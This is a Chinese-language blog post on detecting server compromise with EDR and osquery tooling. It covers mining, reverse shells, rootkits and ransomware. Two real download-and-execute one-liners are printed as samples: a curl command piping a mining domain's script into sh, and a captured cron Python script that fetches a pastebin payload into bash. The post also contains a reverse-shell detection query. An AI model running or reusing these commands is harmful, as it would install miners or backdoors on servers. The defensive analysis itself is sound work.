態(tài)勢感知——服務器安全策略探索
0x00、業(yè)務需求
企業(yè)IT架構數字化轉型的大潮中,往往會面臨各種各樣的安全威脅,包括:系統和應用軟件漏洞利用攻擊,APT攻擊,數據泄露,云服務器濫用,DDoS攻擊等。同時為了應對速度越來越快的網絡犯罪攻擊,以及針對性攻擊的多態(tài)化。為我們安全人員提出了更高的要求。
在做應急響應安全事件過程的過程中,確認攻擊痕跡一般從以下幾個方面:
0x01、服務器安全告警
在態(tài)勢感知產品中,在服務器上部署EDR終端是一個很好的服務器安全量化的一個過程。因為我們在服務器上可以收集進程、端口、賬號、軟件以及文件目錄基礎的安全數據。通過這些基礎數據通過后臺大數據分析加工形成我們感知到威脅。
本篇主要從服務器端做檢測,服務器端檢測有以下優(yōu)勢:
- 單純的網絡層威脅檢測無法和終端數據聯動,形成的證據鏈可信度低。
- 加密連接,通過SSL的bash反連等,無法通過網絡檢測,需要深度學習檢測,檢測成本過高。
- threat hunting需求,可以更深入調查,包括獲取惡意程序。
那么我們先從入侵行為分析開始:
- 失陷主機
檢測思路:需要收集服務器端基礎數據: 實時網絡連接數據,同時需要商業(yè)威脅情報數據源。
實時網絡連接數據,實驗環(huán)境搭建:通過kolide+osquery+ElasticSearch+kibana。
實現步驟:
1、從服務器端獲取基礎外聯網絡數據。
2、通過flink或者spark streaming做實時Top進程、Top外聯IP統計,分析所有服務器上傳的外聯孤島數據,也可以編輯規(guī)則重點監(jiān)控下載應用程序,或者下載對端的應用如果是HFS服務。需要重點關注。當然這里可以玩的playbook很多,需要用戶自己挖掘。
3、從中獲取到應有程序路徑、對外連接IP信息,以及端口。通過IP地址查詢威脅情報,如果對端IP地址使用的C2、Tor、VPN、SS等地址視為失陷主機。態(tài)勢感知——服務器安全策略探索
- 對外可疑連接
檢測思路:這里主要是增加內容特征,比如說:上傳設備基本信息、發(fā)送攻擊指令、獲取公網IP地址、黑客攻擊連接等。服務器端需要把惡意程序上傳云查殺或者云沙箱做深入檢測。
實驗環(huán)境:Malice(支持Yara+多殺毒引擎集成+virustotal)+ClamAV +ElasticSearch+kibana。
IDS檢測規(guī)則完善:
當然需要一個安全Team維護這個規(guī)則。
檢測流程:
1、通過IDS檢測到對外連接。
2、通過網絡通訊進程關聯到文件。
3、上傳文件到云查殺系統中檢測。如果發(fā)現病毒告警。
- 對外DDoS
檢測思路:通過獲取實時進程快照,網絡對外連接快照,網絡層獲取其流量信息,同時也上傳對應的進程文件到云查殺和云沙箱檢測。在網絡層檢測通過IDS規(guī)則檢測到對外DDoS攻擊最多為:NTP反射攻擊、memcache反射攻擊。但是在服務器端檢測會發(fā)現更多攻擊方式,例如:CC攻擊、SIP協議攻擊、視頻協議攻擊、SYN Flood、ACK Flood等。當然需要客戶端抓包進一步確認。
檢測流程:
1、獲取進程快照,網絡對外連接快照,對外連接網絡流量(需要驅動支持)或者獲取總流量。
2、執(zhí)行抓包程序,采集服務器端Pcap包,上傳Pcap包樣本到服務器端。
3、通過各種DDoS攻擊規(guī)則過濾,如果發(fā)現預定的攻擊類型。
- 挖礦檢測
檢測思路:特征是CPU占用率過高。通過上傳進程快照,同時獲取類似top命令CPU占用率信息??梢源_定挖礦進程。當然還有 /bin/sh -c /usr/bin/curl -sL https://xmr.tgywl.cn|sh 直接挖礦。
檢測流程:
1、獲取進程快照,CPU占用率信息。
2、多次CPU占率過高的進程聚合。
3、上傳文件到云查殺系統中檢測。如果發(fā)現病毒告警。
4、復查各個端口被入侵的痕跡,如果產生以下攻擊告警,需要大數據關聯分析(flink or spark streaming)。
- 對外爆破
檢測思路:關聯網絡層檢測和服務器端檢測相關進程。
檢測流程:
1、獲取進程快照,對外網絡連接快照。
2、獲取網絡層面各種協議的暴力破解告警。
3、使用flink or spark streaming 做大數據關聯分析。
- 蠕蟲病毒
檢測思路:如果存在對外掃描功能,通過大數據分析網絡連接,短時間內過多連接視為可疑。
檢測流程:
1、獲取進程快照,對外網絡連接快照。
2、獲取網絡層面對外可疑連接告警。
3、上傳文件到云查殺系統中檢測。進一步分析,發(fā)現病毒標記為蠕蟲病毒告警。
- 反彈shell
檢測思路:sh或者bash運行打開遠程連接,視為反彈shell。
檢測流程:
1、獲取進程快照,對外網絡連接快照。
2、查詢語句。
- "behavioral_reverse_shell": {
- "query" : "SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND remote_address NOT IN ('0.0.0.0', '::', '') AND remote_address NOT LIKE '10.%' AND remote_address NOT LIKE '192.168.%';",
- "interval" : 600,
- "description" : "Find shell processes that have open sockets"
- },
- rootkit檢測
我們先看一個入侵案例,以下腳本是用戶放到定時任務中的經過base64加密的腳本,通過替換curl、wget實現進程網絡通訊隱藏的目的。
- import os
- import os.path
- def GetDeps():
- if os.path.isfile('/usr/bin/url'):
- os.system("mv /usr/bin/url /usr/bin/curl")
- os.system("chmod 777 /usr/bin/curl")
- os.system("chmod +x /usr/bin/curl")
- if os.path.isfile('/usr/bin/get'):
- os.system("mv /usr/bin/get /usr/bin/wget")
- os.system("chmod 777 /usr/bin/wget")
- os.system("chmod +x /usr/bin/wget")
- if not os.path.isfile('/usr/bin/wget'):
- os.system("yum clean all")
- os.system("yum -y install wget")
- os.system("apt-get update")
- os.system("apt-get -y install wget")
- if not os.path.isfile('/usr/bin/curl'):
- os.system("yum clean all")
- os.system("yum -y install curl")
- os.system("apt-get update")
- os.system("apt-get -y install wget")
- if os.getuid()==0:
- GetDeps()
- os.system("(curl -fsSL https://pastebin.com/raw/JuBCmASZ||wget -q -O- https://pastebin.com/raw/JuBCmASZ)|bash%7Cbash)")
由于存在我們安裝的服務器以前中過rootkit程序的情況。
檢測流程
1、需要從遠程下載wget\curl\ps\ls\netstat\ss等網絡和文件檢測工具
2、與本地對應的文件做對比檢測找到diff。
3、如果存在Diff,證明存在rootkit的惡意行為,告警。
- 勒索軟件
檢測思路:
1、上傳文件創(chuàng)建基礎數據信息、上傳進程快照信息。
2、統計平時文件創(chuàng)建數據,設置動態(tài)基礎數據基線。
3、如果單臺服務器創(chuàng)建量超出平時2倍以上,需要把對應的文件上傳到云查殺分析,如果發(fā)現勒索軟件病毒標簽告警。
0x03、總結
服務器安全檢測是一項非常繁瑣,并且特殊情況比較多的工作,需要這些檢測規(guī)則和手段自動化成威脅模型。同時,人工threat huning結果也要不斷加入,形成正向反饋,良性循環(huán)。